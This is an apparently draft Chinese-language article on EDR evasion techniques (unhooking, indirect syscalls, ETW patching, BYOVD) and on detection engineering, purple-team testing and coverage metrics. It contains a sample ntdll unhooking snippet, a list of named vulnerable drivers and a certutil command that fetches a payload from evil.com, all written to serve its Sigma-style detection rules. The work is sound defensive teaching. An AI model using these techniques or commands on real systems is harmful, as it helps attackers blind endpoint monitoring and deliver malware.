一、攻防升级:从"绕过"到"杀死"EDR
2020 年前后,端点检测与响应(EDR)产品如雨后春笋般涌现,承诺通过用户层 API Hook、内核回调和机器学习行为分析,终结传统杀毒软件的"特征码依赖"。五年过去,EDR 确实改变了终端安全的格局,但攻击者也完成了针对性的技术迭代。
Windshock 在 2025 年的技术总结中提出了一个清晰的演进脉络[^4]:
这一演进的核心驱动力是"攻击者的成本-收益计算":当绕过 EDR 的难度低于终止 EDR 的难度时,攻击者选择绕过;当内核驱动攻击变得可行时,攻击者直接消灭监控本身。2024-2025 年多个 APT 组织被观察到使用 BYOVD(自带漏洞驱动)技术,加载有漏洞的合法签名驱动(如 dbutil_2_3.sys、gdrv.sys),利用内核漏洞获取 Ring 0 权限,然后直接卸载或致盲 EDR 的内核组件[^4]。
这不是 EDR 的末日,而是端点安全范式的转变:EDR 不能作为唯一的防线,而必须是纵深防御体系中的一层。本文将从攻击技术和检测工程两个维度,解析这一猫鼠游戏的当前状态。
二、攻击面解剖:EDR 如何被看见和绕过
要理解如何检测 EDR 绕过,首先需要理解 EDR 的工作原理及其被绕过的方式。
2.1 用户层 Hook:EDR 的"前哨站"
大多数 EDR 产品在用户层通过修改 Windows DLL(主要是 ntdll.dll、kernel32.dll、kernelbase.dll)的函数前几条指令,插入一个跳转(jmp)到自己的检测模块[^3]。当进程调用 NtCreateThreadEx、NtAllocateVirtualMemory、NtWriteVirtualMemory 等敏感 API 时,执行流会先经过 EDR 的 inspection 函数,EDR 检查调用参数和上下文后决定是否放行。
这种机制的优势是部署简单、性能开销低、兼容性好;劣势也同样明显:Hook 在用户层,攻击者也在用户层,这是一场权限对等的对抗。
2.2 Unhooking:恢复"出厂设置"
Unhooking 是最经典的 EDR 绕过技术。其原理简单粗暴:EDR 修改了内存中 ntdll.dll 的函数前导码,但磁盘上的原始 DLL 文件未被修改。攻击者通过读取磁盘上的 ntdll.dll,提取原始函数的前 20-30 字节,覆盖内存中被 Hook 的版本[^3]。
// 简化的 Unhooking 逻辑示意
HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, ...);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pMapped = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// 定位 ntdll.dll 中的 NtCreateThreadEx RVA
DWORD rva = GetExportRVA(pMapped, "NtCreateThreadEx");
// 将原始函数前导码复制到当前进程的 ntdll 对应位置
memcpy(realNtCreateThreadEx, (BYTE*)pMapped + rva, 24);Unhooking 的检测信号并不在于 Unhooking 行为本身(它只是一次内存写入),而在于后续的行为异常。当一个进程恢复了 ntdll 的原始函数后,它调用敏感 API 时不再经过 EDR 的 inspection。EDR 会观察到该进程的 API 调用"突然消失"——日志中出现断层。
2.3 间接系统调用:绕过 Hook 的"地道战"
Unhooking 的进化版是间接系统调用(Indirect Syscalls)。攻击者不再恢复被 Hook 的函数,而是完全不经过 ntdll 的导出函数,直接从用户层构造系统调用指令(syscall/sysenter),跳转到内核态[^2]。
间接系统调用的检测难度显著高于 Unhooking,因为 EDR 的用户层 Hook 完全无法观测到调用过程。但攻击者在这一过程中仍然留下了可检测的痕迹:
- 异常内存执行:系统调用需要在用户层分配可执行内存来存放
syscall指令序列 - 栈不一致:直接发起系统调用时,用户层调用栈缺少正常的 DLL 函数框架,与合法 API 调用存在差异
- SSN(System Service Number)探测:攻击者需要知道目标系统的 SSN,通常通过扫描
ntdll内存获取,产生特征性的内存读取模式
2.4 ETW 致盲:让 Windows 自身"失明"
Event Tracing for Windows(ETW)是 Windows 内置的高性能事件追踪框架,许多 EDR 产品依赖 ETW Provider(如 Microsoft-Windows-Kernel-Process、Microsoft-Windows-DotNETRuntime)获取系统级遥测。攻击者发现,通过修改 ETW 的注册表配置或在内核回调链中移除 Provider,可以让特定进程的事件不再被记录[^2]。
ETW 致盲的常用技术包括:
- Patch ETW 导出函数:在用户层修改
ntdll!EtwEventWrite,使其直接返回STATUS_SUCCESS而不发送事件 - Kernel callback 移除:在内核层操作
EtwThreatInt等 Provider 的回调注册表 - Provider GUID 阻断:阻止特定 ETW Provider 的 GUID 被订阅
ETW 致盲的检测相对困难,因为 ETW 本身是一个复杂的子系统,正常的 ETW 配置变更(如性能监控工具的调整)与恶意致盲在行为上难以区分。关键在于基线对比:记录正常状态下各进程的 ETW Provider 订阅列表,当某个进程突然失去关键 Provider 的覆盖时触发告警。
2.5 BYOVD:从 Ring 3 到 Ring 0 的降维打击
Bring Your Own Vulnerable Driver(BYOVD)是 2024-2025 年最令安全从业者担忧的趋势[^4]。攻击者加载一个带有已知漏洞但拥有有效微软签名的驱动程序,利用漏洞获取内核级代码执行权限。一旦进入 Ring 0,攻击者可以:
- 直接操作 EDR 的内核回调注册表,卸载 EDR 的驱动组件
- 修改内核数据结构(如
PsSetCreateProcessNotifyRoutine数组),移除 EDR 的进程创建监控 - 使用内核级内存操作,直接修改 EDR 用户层进程的执行流
微软在 2025 年推出了"易受攻击驱动程序阻止列表"(Vulnerable Driver Blocklist),通过 Windows Update 分发已知漏洞驱动的哈希列表,由 HVCI(Hypervisor-protected Code Integrity)或内核模式代码完整性(KMCI)阻止其加载[^7]。但这需要硬件和 BIOS 支持 HVCI,许多旧设备无法启用。
三、防御重构:从"阻止绕过"到"检测绕过后的行为"
面对 EDR 绕过技术的快速发展,纯粹依赖"阻止攻击者绕过 EDR"的防御策略已经不够现实。更务实的策略是:假设 EDR 可能被绕过,构建多层检测体系,在攻击者绕过 EDR 后仍然能发现其异常行为。
3.1 多层检测架构
Corelight 的研究指出,当攻击者成功绕过 EDR 后,往往会在网络层暴露行为[^5]。例如:
- C2 通信需要建立网络连接,无论端点层如何隐藏,网络流量始终存在
- 横向移动(如 PsExec、WMI、RDP)产生特征性的网络模式和认证事件
- 数据外泄需要通过网络传输,大流量异常在 NDR(Network Detection and Response)中容易被发现
因此,EDR + NDR 的联合检测是弥补端点盲区的关键架构。
3.2 基于行为的检测规则
Elastic 开源的检测规则库包含多条针对 EDR 绕过行为的高价值规则[^8]。以下是笔者在实际环境中验证有效的检测逻辑:
规则 1:NTDLL 内存异常修改(Unhooking 指标)
title: Suspicious NTDLL Memory Write
detection:
selection:
- Image|endswith:
- '\\csrss.exe'
- '\\smss.exe'
- '\\services.exe'
- CallTrace|contains:
- 'C:\\Windows\\System32\\ntdll.dll+'
- GrantedAccess:
- '0x1F0FFF'
- '0x1F3FFF'
condition: selection实际上更精确的检测是:监控非系统进程对 ntdll.dll 所在内存区域的写操作。合法软件几乎不需要修改 ntdll 的 .text 段,任何此类写入都应被视为高度可疑。
规则 2:ETW Provider 异常移除
title: ETW Provider Tampering
detection:
selection:
EventID: 4688
CommandLine|contains:
- 'logman'
- 'wevtutil'
CommandLine|contains:
- 'stop'
- 'delete'
- 'disable'
condition: selection更高级的方法是直接通过 ETW 自身监控 ETW 配置变更,或使用 PowerShell 脚本定期枚举各进程的 ETW Provider 订阅状态,与基线对比。
规则 3:可疑驱动加载(BYOVD 指标)
title: Vulnerable Driver Load Attempt
detection:
selection:
EventID: 6 # Sysmon DriverLoad
ImageLoaded|endswith:
- '\\dbutil_2_3.sys'
- '\\gdrv.sys'
- '\\rtcore64.sys'
- '\\amifldrv64.sys'
condition: selection建议企业维护一份内部 BYOVD 驱动黑名单,来源包括微软易受攻击驱动列表、社区研究(如 LOLDrivers 项目)和内部威胁情报。
3.3 LOLBAS 的检测工程
Living Off The Land Binaries and Scripts(LOLBAS)是攻击者最喜欢的技术之一:使用系统自带工具(如 certutil、bitsadmin、mshta、powershell)执行恶意操作,避免投放自定义可执行文件[^6]。
LOLBAS 的检测难点在于"合法与恶意的行为重叠"。例如 certutil -urlcache -split -f http://evil.com/payload.exe C:\\temp\\p.exe 是经典的 LOLBAS 下载技术,但 certutil 本身也是合法的证书管理工具。
有效的 LOLBAS 检测策略是**"命令行参数异常"+"行为链关联"**:
| LOLBAS 二进制 | 恶意参数特征 | 关联行为 |
|---|---|---|
| certutil | -urlcache -split -f + 外部 URL | 下载后伴随文件执行 |
| bitsadmin | /transfer + /download + 外部 URL | 定时任务创建 |
| mshta | javascript: 或 vbscript: 协议 | 无合法 HTA 文件路径 |
| powershell | -enc、-windowstyle hidden、-nop | 网络连接 + 编码命令 |
| wmic | process call create | 远程主机名参数 |
微软 Defender 的 Attack Surface Reduction(ASR)规则在预防层面提供了有效补充[^7]。例如:
- "阻止 Office 应用程序创建子进程":阻止宏调用
powershell或cmd - "阻止从 Windows 远程管理工具进行 PSExec 和 WMI 通信":限制横向移动
- "阻止可执行内容从电子邮件客户端和 Webmail 下载":阻断初始访问向量
ASR 规则的价值在于在 LOLBAS 攻击链的早期阶段打断执行,即使后续的绕过技术成功,攻击者也无法获得初始立足点。
四、紫队验证:用攻击测试检测的有效性
检测规则如果没有经过攻击验证,只是"纸面安全"。紫队(Purple Team)的核心价值在于将红队的攻击技术与蓝队的检测能力对齐,持续验证和改进。
4.1 紫队测试矩阵
建议企业建立以下紫队测试矩阵,每季度执行一轮:
4.2 模拟攻击工具链
红队测试应使用受控的模拟工具,避免对生产环境造成实际损害:
- Unhooking 模拟:使用公开的工具(如
PerunsFart、DarkLoadLibrary)在隔离的测试终端上执行,观察 EDR 和 Sysmon 的响应 - 间接系统调用:使用 SysWhispers3 或 Halo's Gate 生成测试载荷,验证 SSN 探测阶段的检测规则
- ETW Patch:在测试终端上执行 ETW 补丁,验证 ETW 完整性监控告警
- LOLBAS 链条:使用 Atomic Red Team 的 LOLBAS 测试用例,自动化执行和验证
Atomic Red Team 是紫队测试的利器,它将 LOLBAS 和 EDR 绕过技术封装为原子化的测试用例,每条用例都有明确的攻击步骤和对应的检测逻辑[^6]。
# 使用 Invoke-AtomicTest 执行 LOLBAS 测试
Invoke-AtomicTest T1105 -TestNumbers 1 -ShowDetailsBrief
# T1105 = Ingress Tool Transfer,测试 certutil 下载技术4.3 检测覆盖率度量
紫队测试的输出不应只是"通过/失败",而应量化为检测覆盖率指标:
| 度量项 | 目标值 | 计算方式 |
|---|---|---|
| 技术检测覆盖率 | > 90% | 已覆盖的 ATT&CK 技术数 / 测试技术总数 |
| 告警置信度 | > 80% High/Critical | High+Critical 告警数 / 总告警数 |
| 平均检测时间(MTTD) | < 5 分钟 | 攻击发生到首次告警的时间 |
| 平均响应时间(MTTR) | < 30 分钟 | 告警确认到事件遏制的时间 |
| 误报率 | < 5% | 误报告警数 / 总告警数 |
五、结论:端点安全的未来是"韧性"而非"完美"
EDR 绕过技术的演进揭示了一个安全领域的基本真理:任何单点防御都会被攻破,区别在于成本和时间。2025 年的 BYOVD 攻击表明,当攻击者愿意投入足够的资源(获取合法签名驱动、挖掘零日漏洞)时,端点层的检测可以被彻底消灭。
因此,端点安全的目标不应是"阻止所有绕过",而应是:
- 提高绕过成本:让攻击者需要动用稀缺资源(如签名驱动漏洞)才能成功
- 缩短绕过检测时间:即使 EDR 被绕过,其他层级的检测能在分钟级发现异常
- 限制绕过后的影响:通过最小权限、网络分段和快速响应,将成功攻击的损害控制在可接受范围
对于安全团队,建议将年度预算的 20-30% 投入到紫队测试和检测规则调优中——这比单纯购买更多的 EDR 许可证更能提升实际安全韧性。
本文创建日期:2026-06-24 | 状态:draft | 标签:EDR, 端点安全, 红蓝对抗, 威胁狩猎